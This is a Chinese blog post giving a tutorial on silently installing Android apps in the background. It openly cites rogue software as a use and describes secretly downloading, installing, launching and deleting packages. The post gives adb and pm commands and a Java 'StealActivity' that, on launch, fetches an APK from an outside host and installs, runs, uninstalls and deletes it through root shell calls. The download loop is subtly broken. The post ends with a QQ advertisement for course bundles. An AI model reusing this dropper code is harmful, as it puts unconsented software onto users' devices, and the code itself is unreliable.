1. 程式人生 > >Android 靜默安裝程式(在後臺偷偷安裝apk)

Android 靜默安裝程式(在後臺偷偷安裝apk)

一、概述:

1、應用場景:電子市場、流氓軟體
2、使用手段:偷偷下載,偷偷安裝,偷偷啟動,偷偷刪除

二、如何實現:

1、使用命令實現

adb push C:\Users\Administrator\Desktop\gameview.apk data/local/tmp  //下載
adb shell
cd data/local/tmp
ls
pm install gameview.apk //安裝

am start -n com.android.game/com.android.game.GameUI  //啟動
am kill com.android.game//停止

pm uninstall com
.android.game //解除安裝 rm gameview.apk //刪除

2、使用程式碼實現

/**
 * @描述         實現靜默安裝
 * @專案名稱      App_imooc
 * @包名         com.android.imooc.root
 * @類名         StealActivity
 * @author      chenlin
 * @date        2013年6月11日 下午5:15:09
 */

public class StealActivity extends Activity {

    @Override
    protected
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); init(); } private void init() { Thread thread = new Thread(new Runnable() { @Override public void run() { try { //下載 String path = "http://192.168.0.20:8080/game.apk"
; URL url = new URL(path); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("get"); conn.setReadTimeout(5000); conn.setConnectTimeout(5000); if (conn.getResponseCode() == 200) { InputStream is = conn.getInputStream(); File file = new File("sdcard/apk/game.apk"); FileOutputStream fos = new FileOutputStream(file); int len = -1; byte[] buffer = new byte[1024]; while((len = is.read())!=-1){ fos.write(buffer, 0, len); } fos.flush(); fos.close(); } //偷偷安裝 RootTools.sendShell("pm install sdcard/apk/game.apk", 5000); System.out.println("下載完畢"); //偷偷啟動 RootTools.sendShell("start -n com.android.game/com.android.game.GameUI", 5000); System.out.println("啟動完畢"); //RootTools.sendShell("am kill com.android.game", 5000); //偷偷解除安裝 RootTools.sendShell("pm uninstall com.android.game", 5000); System.out.println("解除安裝完畢"); //偷偷刪除 RootTools.sendShell("rm sdcard/apk/gameview.apk", 5000); System.out.println("刪除完畢"); } catch (Exception e) { e.printStackTrace(); } } }); thread.start(); } }

———————————————————————
有需求者請加qq:136137465,非誠勿擾
(java 架構師全套教程,共760G, 讓你從零到架構師,每月輕鬆拿3萬)
01.高階架構師四十二個階段高
02.Java高階系統培訓架構課程148課時
03.Java高階網際網路架構師課程
04.Java網際網路架構Netty、Nio、Mina等-視訊教程
05.Java高階架構設計2016整理-視訊教程
06.架構師基礎、高階片
07.Java架構師必修linux運維繫列課程
08.Java高階系統培訓架構課程116課時
(送:hadoop系列教程,java設計模式與資料結構, Spring Cloud微服務, SpringBoot入門)
——————————————————————–